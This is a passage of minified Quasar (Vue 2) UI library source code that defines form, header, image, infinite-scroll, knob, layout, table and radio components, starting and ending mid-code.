                this.validateIndex++,
                this.getValidationComponents().forEach(function(t) {
                    t.resetValidation()
                })
            },
            submit: function(t) {
                var e = this;
                void 0 !== t && S(t),
                this.validate().then(function(i) {
                    !0 === i && (void 0 !== e.qListeners.submit ? e.$emit("submit", t) : void 0 !== t && void 0 !== t.target && "function" == typeof t.target.submit && t.target.submit())
                })
            },
            reset: function(t) {
                var e = this;
                void 0 !== t && S(t),
                this.$emit("reset"),
                this.$nextTick(function() {
                    e.resetValidation(),
                    !0 === e.autofocus && !0 !== e.noResetFocus && e.focus()
                })
            },
            focus: function() {
                var t = this.$el.querySelector("[autofocus], [data-autofocus]") || Array.prototype.find.call(this.$el.querySelectorAll("[tabindex]"), function(t) {
                    return t.tabIndex > -1
                });
                null !== t && void 0 !== t && t.focus()
            },
            getValidationComponents: function() {
                return Array.prototype.map.call(this.$el.getElementsByClassName("q-validation-component"), function(t) {
                    return t.__vue__
                }).filter(function(t) {
                    return void 0 !== t && "function" == typeof t.validate
                })
            }
        },
        render: function(t) {
            return t("form", {
                staticClass: "q-form",
                on: this.onEvents
            }, Lt(this, "default"))
        }
    })
      , ko = t.extend({
        name: "QHeader",
        mixins: [Mt],
        inject: {
            layout: {
                default: function() {
                    console.error("QHeader needs to be child of QLayout")
                }
            }
        },
        props: {
            value: {
                type: Boolean,
                default: !0
            },
            reveal: Boolean,
            revealOffset: {
                type: Number,
                default: 250
            },
            bordered: Boolean,
            elevated: Boolean,
            heightHint: {
                type: [String, Number],
                default: 50
            }
        },
        data: function() {
            return {
                size: parseInt(this.heightHint, 10),
                revealed: !0
            }
        },
        watch: {
            value: function(t) {
                this.__update("space", t),
                this.__updateLocal("revealed", !0),
                this.layout.__animate()
            },
            offset: function(t) {
                this.__update("offset", t)
            },
            reveal: function(t) {
                !1 === t && this.__updateLocal("revealed", this.value)
            },
            revealed: function(t) {
                this.layout.__animate(),
                this.$emit("reveal", t)
            },
            "layout.scroll": function(t) {
                !0 === this.reveal && this.__updateLocal("revealed", "up" === t.direction || t.position <= this.revealOffset || t.position - t.inflexionPosition < 100)
            }
        },
        computed: {
            fixed: function() {
                return !0 === this.reveal || this.layout.view.indexOf("H") > -1 || !0 === this.layout.container
            },
            offset: function() {
                if (!0 !== this.value)
                    return 0;
                if (!0 === this.fixed)
                    return !0 === this.revealed ? this.size : 0;
                var t = this.size - this.layout.scroll.position;
                return t > 0 ? t : 0
            },
            hidden: function() {
                return !0 !== this.value || !0 === this.fixed && !0 !== this.revealed
            },
            revealOnFocus: function() {
                return !0 === this.value && !0 === this.hidden && !0 === this.reveal
            },
            classes: function() {
                return (!0 === this.fixed ? "fixed" : "absolute") + "-top" + (!0 === this.bordered ? " q-header--bordered" : "") + (!0 === this.hidden ? " q-header--hidden" : "") + (!0 !== this.value ? " q-layout--prevent-focus" : "")
            },
            style: function() {
                var t = this.layout.rows.top
                  , e = {};
                return "l" === t[0] && !0 === this.layout.left.space && (e[!0 === this.$q.lang.rtl ? "right" : "left"] = this.layout.left.size + "px"),
                "r" === t[2] && !0 === this.layout.right.space && (e[!0 === this.$q.lang.rtl ? "left" : "right"] = this.layout.right.size + "px"),
                e
            },
            onEvents: function() {
                return Object.assign({}, this.qListeners, {
                    focusin: this.__onFocusin,
                    input: y
                })
            }
        },
        render: function(t) {
            var e = Bt(this, "default", []);
            return !0 === this.elevated && e.push(t("div", {
                staticClass: "q-layout__shadow absolute-full overflow-hidden no-pointer-events"
            })),
            e.push(t(Zi, {
                props: {
                    debounce: 0
                },
                on: mt(this, "resize", {
                    resize: this.__onResize
                })
            })),
            t("header", {
                staticClass: "q-header q-layout__section--marginal",
                class: this.classes,
                style: this.style,
                on: this.onEvents
            }, e)
        },
        created: function() {
            this.layout.instances.header = this,
            !0 === this.value && this.__update("size", this.size),
            this.__update("space", this.value),
            this.__update("offset", this.offset)
        },
        beforeDestroy: function() {
            this.layout.instances.header === this && (this.layout.instances.header = void 0,
            this.__update("size", 0),
            this.__update("offset", 0),
            this.__update("space", !1))
        },
        methods: {
            __onResize: function(t) {
                var e = t.height;
                this.__updateLocal("size", e),
                this.__update("size", e)
            },
            __update: function(t, e) {
                this.layout.header[t] !== e && (this.layout.header[t] = e)
            },
            __updateLocal: function(t, e) {
                this[t] !== e && (this[t] = e)
            },
            __onFocusin: function(t) {
                !0 === this.revealOnFocus && this.__updateLocal("revealed", !0),
                this.$emit("focusin", t)
            }
        }
    })
      , qo = {
        props: {
            ratio: [String, Number]
        },
        computed: {
            ratioStyle: function() {
                var t = this.ratio || this.naturalRatio;
                if (void 0 !== t)
                    return {
                        paddingBottom: 100 / t + "%"
                    }
            }
        }
    }
      , To = t.extend({
        name: "QImg",
        mixins: [Mt, qo],
        props: {
            src: String,
            srcset: String,
            sizes: String,
            alt: String,
            width: String,
            height: String,
            placeholderSrc: String,
            basic: Boolean,
            contain: Boolean,
            position: {
                type: String,
                default: "50% 50%"
            },
            transition: {
                type: String,
                default: "fade"
            },
            imgClass: [Array, String, Object],
            imgStyle: Object,
            nativeContextMenu: Boolean,
            noDefaultSpinner: Boolean,
            spinnerColor: String,
            spinnerSize: String
        },
        data: function() {
            return {
                currentSrc: "",
                image: null,
                isLoading: !!this.src,
                hasError: !1,
                naturalRatio: void 0
            }
        },
        watch: {
            src: function() {
                this.__load()
            },
            srcset: function(t) {
                this.__updateWatcher(t)
            }
        },
        computed: {
            url: function() {
                return this.currentSrc || this.placeholderSrc || void 0
            },
            attrs: function() {
                var t = {
                    role: "img"
                };
                return void 0 !== this.alt && (t["aria-label"] = this.alt),
                t
            },
            imgContainerStyle: function() {
                return Object.assign({
                    backgroundSize: !0 === this.contain ? "contain" : "cover",
                    backgroundPosition: this.position
                }, this.imgStyle, {
                    backgroundImage: 'url("' + this.url + '")'
                })
            },
            style: function() {
                return {
                    width: this.width,
                    height: this.height
                }
            },
            classes: function() {
                return "q-img overflow-hidden" + (!0 === this.nativeContextMenu ? " q-img--menu" : "")
            }
        },
        methods: {
            __onLoad: function(t) {
                this.isLoading = !1,
                this.hasError = !1,
                this.__computeRatio(t),
                this.__updateSrc(),
                this.__updateWatcher(this.srcset),
                this.$emit("load", this.currentSrc)
            },
            __onError: function(t) {
                clearTimeout(this.ratioTimer),
                this.isLoading = !1,
                this.hasError = !0,
                this.currentSrc = "",
                this.$emit("error", t)
            },
            __updateSrc: function() {
                if (void 0 !== this.image && !1 === this.isLoading) {
                    var t = this.image.currentSrc || this.image.src;
                    this.currentSrc !== t && (this.currentSrc = t)
                }
            },
            __updateWatcher: function(t) {
                t ? void 0 === this.unwatch && (this.unwatch = this.$watch("$q.screen.width", this.__updateSrc)) : void 0 !== this.unwatch && (this.unwatch(),
                this.unwatch = void 0)
            },
            __load: function() {
                var t = this;
                if (clearTimeout(this.ratioTimer),
                this.hasError = !1,
                !this.src)
                    return this.isLoading = !1,
                    this.image = void 0,
                    void (this.currentSrc = "");
                this.isLoading = !0;
                var e = new Image;
                this.image = e,
                e.onerror = function(i) {
                    t.image === e && !0 !== t.destroyed && t.__onError(i)
                }
                ,
                e.onload = function() {
                    !0 !== t.destroyed && t.image === e && (void 0 !== e.decode ? e.decode().catch(function(i) {
                        t.image === e && !0 !== t.destroyed && t.__onError(i)
                    }).then(function() {
                        t.image === e && !0 !== t.destroyed && t.__onLoad(e)
                    }) : t.__onLoad(e))
                }
                ,
                e.src = this.src,
                this.srcset && (e.srcset = this.srcset),
                void 0 !== this.sizes ? e.sizes = this.sizes : Object.assign(e, {
                    height: this.height,
                    width: this.width
                })
            },
            __computeRatio: function(t) {
                var e = this
                  , i = t.naturalHeight
                  , s = t.naturalWidth;
                i || s ? this.naturalRatio = 0 === i ? 1 : s / i : this.ratioTimer = setTimeout(function() {
                    e.image === t && !0 !== e.destroyed && e.__computeRatio(t)
                }, 100)
            },
            __getImage: function(t) {
                var e = !0 === this.nativeContextMenu ? [t("img", {
                    staticClass: "absolute-full fit",
                    attrs: {
                        src: this.url,
                        "aria-hidden": "true"
                    }
                })] : void 0
                  , i = void 0 !== this.url ? t("div", {
                    key: this.url,
                    staticClass: "q-img__image absolute-full",
                    class: this.imgClass,
                    style: this.imgContainerStyle
                }, e) : null;
                return !0 === this.basic ? i : t("transition", {
                    props: {
                        name: "q-transition--" + this.transition
                    }
                }, [i])
            },
            __getContent: function(t) {
                var e = Lt(this, !0 === this.hasError ? "error" : "default");
                return !0 === this.basic ? t("div", {
                    key: "content",
                    staticClass: "q-img__content absolute-full"
                }, e) : t("transition", {
                    props: {
                        name: "q-transition--fade"
                    }
                }, [!0 === this.isLoading ? t("div", {
                    key: "placeholder",
                    staticClass: "q-img__loading absolute-full flex flex-center"
                }, void 0 !== this.$scopedSlots.loading ? this.$scopedSlots.loading() : !1 === this.noDefaultSpinner ? [t(Kt, {
                    props: {
                        color: this.spinnerColor,
                        size: this.spinnerSize
                    }
                })] : void 0) : t("div", {
                    key: "content",
                    staticClass: "q-img__content absolute-full"
                }, e)])
            }
        },
        render: function(t) {
            return t("div", {
                class: this.classes,
                style: this.style,
                attrs: this.attrs,
                on: Object.assign({}, this.qListeners)
            }, [t("div", {
                style: this.ratioStyle
            }), this.__getImage(t), this.__getContent(t)])
        },
        beforeMount: function() {
            if (void 0 !== this.placeholderSrc && void 0 === this.ratio) {
                var t = new Image;
                t.src = this.placeholderSrc,
                this.__computeRatio(t)
            }
            !0 === this.isLoading && this.__load()
        },
        beforeDestroy: function() {
            this.destroyed = !0,
            clearTimeout(this.ratioTimer),
            void 0 !== this.unwatch && this.unwatch()
        }
    })
      , $o = t.extend({
        name: "QInfiniteScroll",
        mixins: [Mt],
        props: {
            offset: {
                type: Number,
                default: 500
            },
            debounce: {
                type: [String, Number],
                default: 100
            },
            scrollTarget: {
                default: void 0
            },
            disable: Boolean,
            reverse: Boolean
        },
        data: function() {
            return {
                index: 0,
                fetching: !1,
                working: !0
            }
        },
        watch: {
            disable: function(t) {
                !0 === t ? this.stop() : this.resume()
            },
            scrollTarget: function() {
                this.updateScrollTarget()
            },
            debounce: function(t) {
                this.__setDebounce(t)
            }
        },
        methods: {
            poll: function() {
                if (!0 !== this.disable && !0 !== this.fetching && !1 !== this.working) {
                    var t = Re(this.__scrollTarget)
                      , e = Ie(this.__scrollTarget)
                      , i = Gt(this.__scrollTarget);
                    !1 === this.reverse ? e + i + this.offset >= t && this.trigger() : e < this.offset && this.trigger()
                }
            },
            trigger: function() {
                var t = this;
                if (!0 !== this.disable && !0 !== this.fetching && !1 !== this.working) {
                    this.index++,
                    this.fetching = !0;
                    var e = Re(this.__scrollTarget);
                    this.$emit("load", this.index, function(i) {
                        !0 === t.working && (t.fetching = !1,
                        t.$nextTick(function() {
                            if (!0 === t.reverse) {
                                var s = Re(t.__scrollTarget)
                                  , n = Ie(t.__scrollTarget)
                                  , o = s - e;
                                Qe(t.__scrollTarget, n + o)
                            }
                            !0 === i ? t.stop() : t.$el.closest("body") && t.poll()
                        }))
                    })
                }
            },
            reset: function() {
                this.index = 0
            },
            resume: function() {
                !1 === this.working && (this.working = !0,
                this.__scrollTarget.addEventListener("scroll", this.poll, d.passive)),
                this.immediatePoll()
            },
            stop: function() {
                !0 === this.working && (this.working = !1,
                this.fetching = !1,
                this.__scrollTarget.removeEventListener("scroll", this.poll, d.passive))
            },
            updateScrollTarget: function() {
                this.__scrollTarget && !0 === this.working && this.__scrollTarget.removeEventListener("scroll", this.poll, d.passive),
                this.__scrollTarget = De(this.$el, this.scrollTarget),
                !0 === this.working && this.__scrollTarget.addEventListener("scroll", this.poll, d.passive)
            },
            __setDebounce: function(t) {
                t = parseInt(t, 10),
                this.poll = t <= 0 ? this.immediatePoll : $(this.immediatePoll, !0 === isNaN(t) ? 100 : t)
            }
        },
        mounted: function() {
            if (this.immediatePoll = this.poll,
            this.__setDebounce(this.debounce),
            this.updateScrollTarget(),
            this.immediatePoll(),
            !0 === this.reverse) {
                var t = Re(this.__scrollTarget)
                  , e = Gt(this.__scrollTarget);
                Qe(this.__scrollTarget, t - e)
            }
        },
        beforeDestroy: function() {
            !0 === this.working && this.__scrollTarget.removeEventListener("scroll", this.poll, d.passive)
        },
        render: function(t) {
            var e = Bt(this, "default", []);
            return !0 !== this.disable && !0 === this.working && e[!1 === this.reverse ? "push" : "unshift"](t("div", {
                staticClass: "q-infinite-scroll__loading",
                class: !0 === this.fetching ? "" : "invisible"
            }, Lt(this, "loading"))),
            t("div", {
                staticClass: "q-infinite-scroll",
                on: Object.assign({}, this.qListeners)
            }, e)
        }
    })
      , Mo = t.extend({
        name: "QInnerLoading",
        mixins: [Mt, Dt, $e],
        props: {
            showing: Boolean,
            color: String,
            size: {
                type: [String, Number],
                default: 42
            }
        },
        render: function(t) {
            var e = !0 === this.showing ? [t("div", {
                staticClass: "q-inner-loading absolute-full column flex-center",
                class: !0 === this.isDark ? "q-inner-loading--dark" : null,
                on: Object.assign({}, this.qListeners)
            }, void 0 !== this.$scopedSlots.default ? this.$scopedSlots.default() : [t(Kt, {
                props: {
                    size: this.size,
                    color: this.color
                }
            })])] : void 0;
            return t("transition", {
                props: {
                    name: this.transition,
                    appear: !0
                }
            }, e)
        }
    })
      , Lo = {
        threshold: 0,
        root: null,
        rootMargin: "0px"
    };
    function Bo(t, e, i) {
        var s, n, o, r = i.modifiers, a = i.value;
        e.once = r.once,
        "function" == typeof a ? (s = a,
        n = Lo,
        o = void 0 === e.cfg) : (s = a.handler,
        n = Object.assign({}, Lo, a.cfg),
        o = void 0 === e.cfg || !1 === wi(e.cfg, n)),
        e.handler !== s && (e.handler = s),
        !0 === o && (e.cfg = n,
        void 0 !== e.observer && e.observer.unobserve(t),
        e.observer = new IntersectionObserver(function(i) {
            var s = i[0];
            if ("function" == typeof e.handler) {
                if (null === s.rootBounds && (void 0 !== t.__vue__ ? !0 !== t.__vue__._inactive : !0 === document.body.contains(t)))
                    return e.observer.unobserve(t),
                    void e.observer.observe(t);
                (!1 === e.handler(s, e.observer) || !0 === e.once && !0 === s.isIntersecting) && Po(t)
            }
        }
        ,n),
        e.observer.observe(t))
    }
    function Po(t) {
        var e = t.__qvisible;
        void 0 !== e && (void 0 !== e.observer && e.observer.unobserve(t),
        delete t.__qvisible)
    }
    var Oo = {
        name: "intersection",
        inserted: function(t, e) {
            var i = {};
            Bo(t, i, e),
            t.__qvisible = i
        },
        update: function(t, e) {
            var i = t.__qvisible;
            void 0 !== i && Bo(t, i, e)
        },
        unbind: Po
    }
      , Eo = t.extend({
        name: "QIntersection",
        mixins: [$t, Mt],
        directives: {
            Intersection: Oo
        },
        props: {
            once: Boolean,
            transition: String,
            ssrPrerender: Boolean,
            margin: String,
            threshold: [Number, Array],
            disable: Boolean
        },
        data: function() {
            return {
                showing: !0 === n && this.ssrPrerender
            }
        },
        computed: {
            value: function() {
                return void 0 !== this.margin || void 0 !== this.threshold ? {
                    handler: this.__trigger,
                    cfg: {
                        rootMargin: this.margin,
                        threshold: this.threshold
                    }
                } : this.__trigger
            },
            directives: function() {
                if (!0 !== this.disable && (!0 !== n || !0 !== this.once || !0 !== this.ssrPrerender))
                    return [{
                        name: "intersection",
                        value: this.value,
                        modifiers: {
                            once: this.once
                        }
                    }]
            }
        },
        methods: {
            __trigger: function(t) {
                this.showing !== t.isIntersecting && (this.showing = t.isIntersecting,
                void 0 !== this.qListeners.visibility && this.$emit("visibility", this.showing))
            }
        },
        render: function(t) {
            var e = !0 === this.showing ? [t("div", {
                key: "content"
            }, Lt(this, "default"))] : void 0;
            return t(this.tag, {
                staticClass: "q-intersection",
                on: Object.assign({}, this.qListeners),
                directives: this.directives
            }, this.transition ? [t("transition", {
                props: {
                    name: "q-transition--" + this.transition
                }
            }, e)] : e)
        }
    })
      , zo = [34, 37, 40, 33, 39, 38]
      , Ao = t.extend({
        name: "QKnob",
        mixins: [{
            props: zi.options.props
        }, ai],
        directives: {
            TouchPan: Qi
        },
        props: {
            step: {
                type: Number,
                default: 1,
                validator: function(t) {
                    return t >= 0
                }
            },
            tabindex: {
                type: [Number, String],
                default: 0
            },
            disable: Boolean,
            readonly: Boolean
        },
        data: function() {
            return {
                model: this.value,
                dragging: !1
            }
        },
        watch: {
            value: function(t) {
                if (t < this.min)
                    this.model = this.min;
                else {
                    if (!(t > this.max))
                        return void (t !== this.model && (this.model = t));
                    this.model = this.max
                }
                this.model !== this.value && (this.$emit("input", this.model),
                this.$emit("change", this.model))
            }
        },
        computed: {
            classes: function() {
                return "q-knob non-selectable" + (!0 === this.editable ? " q-knob--editable" : !0 === this.disable ? " disabled" : "")
            },
            editable: function() {
                return !1 === this.disable && !1 === this.readonly
            },
            decimals: function() {
                return (String(this.step).trim("0").split(".")[1] || "").length
            },
            computedStep: function() {
                return 0 === this.step ? 1 : this.step
            },
            computedInstantFeedback: function() {
                return !0 === this.instantFeedback || !0 === this.dragging
            },
            onEvents: function() {
                return !0 === this.$q.platform.is.mobile ? {
                    click: this.__click
                } : {
                    mousedown: this.__activate,
                    click: this.__click,
                    keydown: this.__keydown,
                    keyup: this.__keyup
                }
            },
            attrs: function() {
                var t = {
                    role: "slider",
                    "aria-valuemin": this.min,
                    "aria-valuemax": this.max,
                    "aria-valuenow": this.value
                };
                return !0 === this.editable ? t.tabindex = this.tabindex : t["aria-" + (!0 === this.disable ? "disabled" : "readonly")] = "",
                t
            }
        },
        methods: {
            __updateCenterPosition: function() {
                var t = this.$el.getBoundingClientRect()
                  , e = t.top
                  , i = t.left
                  , s = t.width
                  , n = t.height;
                this.centerPosition = {
                    top: e + n / 2,
                    left: i + s / 2
                }
            },
            __pan: function(t) {
                t.isFinal ? (this.__updatePosition(t.evt, !0),
                this.dragging = !1) : t.isFirst ? (this.__updateCenterPosition(),
                this.dragging = !0,
                this.__updatePosition(t.evt)) : this.__updatePosition(t.evt)
            },
            __click: function(t) {
                this.__updateCenterPosition(),
                this.__updatePosition(t, !0)
            },
            __keydown: function(t) {
                if (zo.includes(t.keyCode)) {
                    S(t);
                    var e = ([34, 33].includes(t.keyCode) ? 10 : 1) * this.computedStep
                      , i = [34, 37, 40].includes(t.keyCode) ? -e : e;
                    this.model = ht(parseFloat((this.model + i).toFixed(this.decimals)), this.min, this.max),
                    this.__updateValue()
                }
            },
            __keyup: function(t) {
                zo.includes(t.keyCode) && this.__updateValue(!0)
            },
            __activate: function(t) {
                this.__updateCenterPosition(),
                this.__updatePosition(t)
            },
            __updatePosition: function(t, e) {
                var i = this.centerPosition
                  , s = v(t)
                  , n = Math.abs(s.top - i.top)
                  , o = Math.sqrt(Math.pow(n, 2) + Math.pow(Math.abs(s.left - i.left), 2))
                  , r = Math.asin(n / o) * (180 / Math.PI);
                r = s.top < i.top ? i.left < s.left ? 90 - r : 270 + r : i.left < s.left ? r + 90 : 270 - r,
                this.angle && (r = dt(r - this.angle, 0, 360)),
                !0 === this.$q.lang.rtl && (r = 360 - r);
                var a = this.min + r / 360 * (this.max - this.min);
                if (0 !== this.step) {
                    var l = this.computedStep
                      , c = a % l;
                    a = a - c + (Math.abs(c) >= l / 2 ? (c < 0 ? -1 : 1) * l : 0),
                    a = parseFloat(a.toFixed(this.decimals))
                }
                a = ht(a, this.min, this.max),
                this.$emit("drag-value", a),
                this.model !== a && (this.model = a),
                this.__updateValue(e)
            },
            __updateValue: function(t) {
                this.value !== this.model && this.$emit("input", this.model),
                !0 === t && this.$emit("change", this.model)
            },
            __getNameInput: function() {
                return this.$createElement("input", {
                    attrs: this.formAttrs
                })
            }
        },
        render: function(t) {
            var e = {
                class: this.classes,
                attrs: this.attrs,
                props: Object.assign({}, this.$props, {
                    value: this.model,
                    instantFeedback: this.computedInstantFeedback
                })
            };
            return !0 === this.editable && (e.on = this.onEvents,
            e.directives = mt(this, "dir", [{
                name: "touch-pan",
                value: this.__pan,
                modifiers: {
                    prevent: !0,
                    stop: !0,
                    mouse: !0
                }
            }]),
            void 0 !== this.name && (e.scopedSlots = {
                internal: this.__getNameInput
            })),
            t(zi, e, Lt(this, "default"))
        }
    })
      , Do = d.passive
      , Ro = t.extend({
        name: "QScrollObserver",
        props: {
            debounce: [String, Number],
            horizontal: Boolean,
            scrollTarget: {
                default: void 0
            }
        },
        render: f,
        data: function() {
            return {
                pos: 0,
                dir: !0 === this.horizontal ? "right" : "down",
                dirChanged: !1,
                dirChangePos: 0
            }
        },
        watch: {
            scrollTarget: function() {
                this.__unconfigureScrollTarget(),
                this.__configureScrollTarget()
            }
        },
        methods: {
            getPosition: function() {
                return {
                    position: this.pos,
                    direction: this.dir,
                    directionChanged: this.dirChanged,
                    inflexionPosition: this.dirChangePos
                }
            },
            trigger: function(t) {
                !0 === t || 0 === this.debounce || "0" === this.debounce ? this.__emit() : this.timer || (this.timer = this.debounce ? setTimeout(this.__emit, this.debounce) : requestAnimationFrame(this.__emit))
            },
            __emit: function() {
                var t = !0 === this.horizontal ? Fe : Ie
                  , e = Math.max(0, t(this.__scrollTarget))
                  , i = e - this.pos
                  , s = !0 === this.horizontal ? i < 0 ? "left" : "right" : i < 0 ? "up" : "down";
                this.dirChanged = this.dir !== s,
                this.dirChanged && (this.dir = s,
                this.dirChangePos = this.pos),
                this.timer = null,
                this.pos = e,
                this.$emit("scroll", this.getPosition())
            },
            __configureScrollTarget: function() {
                this.__scrollTarget = De(this.$el.parentNode, this.scrollTarget),
                this.__scrollTarget.addEventListener("scroll", this.trigger, Do),
                this.trigger(!0)
            },
            __unconfigureScrollTarget: function() {
                void 0 !== this.__scrollTarget && (this.__scrollTarget.removeEventListener("scroll", this.trigger, Do),
                this.__scrollTarget = void 0)
            }
        },
        mounted: function() {
            this.__configureScrollTarget()
        },
        beforeDestroy: function() {
            clearTimeout(this.timer),
            cancelAnimationFrame(this.timer),
            this.__unconfigureScrollTarget()
        }
    })
      , Io = t.extend({
        name: "QLayout",
        mixins: [Mt],
        provide: function() {
            return {
                layout: this
            }
        },
        props: {
            container: Boolean,
            view: {
                type: String,
                default: "hhh lpr fff",
                validator: function(t) {
                    return /^(h|l)h(h|r) lpr (f|l)f(f|r)$/.test(t.toLowerCase())
                }
            }
        },
        data: function() {
            return {
                height: this.$q.screen.height,
                width: !0 === this.container ? 0 : this.$q.screen.width,
                containerHeight: 0,
                scrollbarWidth: !0 === n ? 0 : Ye(),
                header: {
                    size: 0,
                    offset: 0,
                    space: !1
                },
                right: {
                    size: 300,
                    offset: 0,
                    space: !1
                },
                footer: {
                    size: 0,
                    offset: 0,
                    space: !1
                },
                left: {
                    size: 300,
                    offset: 0,
                    space: !1
                },
                scroll: {
                    position: 0,
                    direction: "down"
                }
            }
        },
        computed: {
            rows: function() {
                var t = this.view.toLowerCase().split(" ");
                return {
                    top: t[0].split(""),
                    middle: t[1].split(""),
                    bottom: t[2].split("")
                }
            },
            style: function() {
                return !0 === this.container ? null : {
                    minHeight: this.$q.screen.height + "px"
                }
            },
            targetStyle: function() {
                var t;
                if (0 !== this.scrollbarWidth)
                    return (t = {})[!0 === this.$q.lang.rtl ? "left" : "right"] = this.scrollbarWidth + "px",
                    t
            },
            targetChildStyle: function() {
                var t;
                if (0 !== this.scrollbarWidth)
                    return (t = {})[!0 === this.$q.lang.rtl ? "right" : "left"] = 0,
                    t[!0 === this.$q.lang.rtl ? "left" : "right"] = "-" + this.scrollbarWidth + "px",
                    t.width = "calc(100% + " + this.scrollbarWidth + "px)",
                    t
            },
            totalWidth: function() {
                return this.width + this.scrollbarWidth
            },
            classes: function() {
                return "q-layout q-layout--" + (!0 === this.container ? "containerized" : "standard")
            }
        },
        created: function() {
            this.instances = {}
        },
        render: function(t) {
            var e = t("div", {
                class: this.classes,
                style: this.style,
                on: Object.assign({}, this.qListeners)
            }, Pt([t(Ro, {
                on: mt(this, "scroll", {
                    scroll: this.__onPageScroll
                })
            }), t(Zi, {
                on: mt(this, "resizeOut", {
                    resize: this.__onPageResize
                })
            })], this, "default"));
            return !0 === this.container ? t("div", {
                staticClass: "q-layout-container overflow-hidden"
            }, [t(Zi, {
                on: mt(this, "resizeIn", {
                    resize: this.__onContainerResize
                })
            }), t("div", {
                staticClass: "absolute-full",
                style: this.targetStyle
            }, [t("div", {
                staticClass: "scroll",
                style: this.targetChildStyle
            }, [e])])]) : e
        },
        methods: {
            __animate: function() {
                var t = this;
                void 0 !== this.timer ? clearTimeout(this.timer) : document.body.classList.add("q-body--layout-animate"),
                this.timer = setTimeout(function() {
                    document.body.classList.remove("q-body--layout-animate"),
                    t.timer = void 0
                }, 150)
            },
            __onPageScroll: function(t) {
                !0 !== this.container && !0 === document.qScrollPrevented || (this.scroll = t),
                void 0 !== this.qListeners.scroll && this.$emit("scroll", t)
            },
            __onPageResize: function(t) {
                var e = t.height
                  , i = t.width
                  , s = !1;
                this.height !== e && (s = !0,
                this.height = e,
                void 0 !== this.qListeners["scroll-height"] && this.$emit("scroll-height", e),
                this.__updateScrollbarWidth()),
                this.width !== i && (s = !0,
                this.width = i),
                !0 === s && void 0 !== this.qListeners.resize && this.$emit("resize", {
                    height: e,
                    width: i
                })
            },
            __onContainerResize: function(t) {
                var e = t.height;
                this.containerHeight !== e && (this.containerHeight = e,
                this.__updateScrollbarWidth())
            },
            __updateScrollbarWidth: function() {
                if (!0 === this.container) {
                    var t = this.height > this.containerHeight ? Ye() : 0;
                    this.scrollbarWidth !== t && (this.scrollbarWidth = t)
                }
            }
        }
    })
      , Fo = t.extend({
        name: "QMarkupTable",
        mixins: [Dt, Mt],
        props: {
            dense: Boolean,
            flat: Boolean,
            bordered: Boolean,
            square: Boolean,
            separator: {
                type: String,
                default: "horizontal",
                validator: function(t) {
                    return ["horizontal", "vertical", "cell", "none"].includes(t)
                }
            },
            wrapCells: Boolean
        },
        computed: {
            classes: function() {
                return "q-table--" + this.separator + "-separator" + (!0 === this.isDark ? " q-table--dark q-table__card--dark q-dark" : "") + (!0 === this.dense ? " q-table--dense" : "") + (!0 === this.flat ? " q-table--flat" : "") + (!0 === this.bordered ? " q-table--bordered" : "") + (!0 === this.square ? " q-table--square" : "") + (!1 === this.wrapCells ? " q-table--no-wrap" : "")
            }
        },
        render: function(t) {
            return t("div", {
                staticClass: "q-markup-table q-table__container q-table__card",
                class: this.classes,
                on: Object.assign({}, this.qListeners)
            }, [t("table", {
                staticClass: "q-table"
            }, Lt(this, "default"))])
        }
    })
      , jo = t.extend({
        name: "QNoSsr",
        mixins: [Gi, $t, Mt],
        props: {
            placeholder: String
        },
        render: function(t) {
            var e = {
                on: Object.assign({}, this.qListeners)
            };
            if (!0 === this.canRender) {
                var i = Lt(this, "default");
                return void 0 === i ? i : i.length > 1 ? t(this.tag, e, i) : i[0]
            }
            e.staticClass = "q-no-ssr-placeholder";
            var s = Lt(this, "placeholder");
            return void 0 !== s ? s.length > 1 ? t(this.tag, e, s) : s[0] : void 0 !== this.placeholder ? t(this.tag, e, [this.placeholder]) : void 0
        }
    })
      , Vo = t.extend({
        name: "QRadio",
        mixins: [Dt, $i, ai, Mi],
        props: {
            value: {
                required: !0
            },
            val: {
                required: !0
            },
            label: String,
            leftLabel: Boolean,
            color: String,
            keepColor: Boolean,
            dense: Boolean,
            disable: Boolean,
            tabindex: [String, Number]
        },
        computed: {
            isTrue: function() {
                return this.value === this.val
            },
            classes: function() {
                return "q-radio cursor-pointer no-outline row inline no-wrap items-center" + (!0 === this.disable ? " disabled" : "") + (!0 === this.isDark ? " q-radio--dark" : "") + (!0 === this.dense ? " q-radio--dense" : "") + (!0 === this.leftLabel ? " reverse" : "")
            },
            innerClass: function() {
                var t = void 0 === this.color || !0 !== this.keepColor && !0 !== this.isTrue ? "" : " text-" + this.color;
                return "q-radio__inner--" + (!0 === this.isTrue ? "truthy" : "falsy") + t
            },
            computedTabindex: function() {
                return !0 === this.disable ? -1 : this.tabindex || 0
            },
            formAttrs: function() {
                var t = {
                    type: "radio"
                };
                return void 0 !== this.name && Object.assign(t, {
                    name: this.name,
                    value: this.val
                }),
                t
            },
            formDomProps: function() {
                if (void 0 !== this.name && !0 === this.isTrue)
                    return {
                        checked: !0
                    }
            },
            attrs: function() {
                var t = {
                    tabindex: this.computedTabindex,
                    role: "radio",
                    "aria-label": this.label,
                    "aria-checked": !0 === this.isTrue ? "true" : "false"
                };
                return !0 === this.disable && (t["aria-disabled"] = ""),
                t
            }
        },
        methods: {
            set: function(t) {
                void 0 !== t && (S(t),
                this.__refocusTarget(t)),
                !0 !== this.disable && !0 !== this.isTrue && this.$emit("input", this.val, t)
            }
        },
        render: function(t) {
            var e = this
              , i = [t("svg", {
                staticClass: "q-radio__bg absolute",
                attrs: {
                    focusable: "false",
                    viewBox: "0 0 24 24"
                }
            }, [t("path", {
                attrs: {
                    d: "M12,22a10,10 0 0 1 -10,-10a10,10 0 0 1 10,-10a10,10 0 0 1 10,10a10,10 0 0 1 -10,10m0,-22a12,12 0 0 0 -12,12a12,12 0 0 0 12,12a12,12 0 0 0 12,-12a12,12 0 0 0 -12,-12"
                }
            }), t("path", {
                staticClass: "q-radio__check",
                attrs: {
                    d: "M12,6a6,6 0 0 0 -6,6a6,6 0 0 0 6,6a6,6 0 0 0 6,-6a6,6 0 0 0 -6,-6"
                }
            })])];
            !0 !== this.disable && this.__injectFormInput(i, "unshift", "q-radio__native q-ma-none q-pa-none invisible");
            var s = [t("div", {
                staticClass: "q-radio__inner relative-position no-pointer-events",
                class: this.innerClass,
                style: this.sizeStyle
            }, i)];
            void 0 !== this.__refocusTargetEl && s.push(this.__refocusTargetEl);
            var n = void 0 !== this.label ? Pt([this.label], this, "default") : Lt(this, "default");
            return void 0 !== n && s.push(t("div", {
                staticClass: "q-radio__label q-anchor--skip"
            }, n)),
            t("div", {
                class: this.classes,
                attrs: this.attrs,
                on: mt(this, "inpExt", {
                    click: this.set,
                    keydown: function(t) {
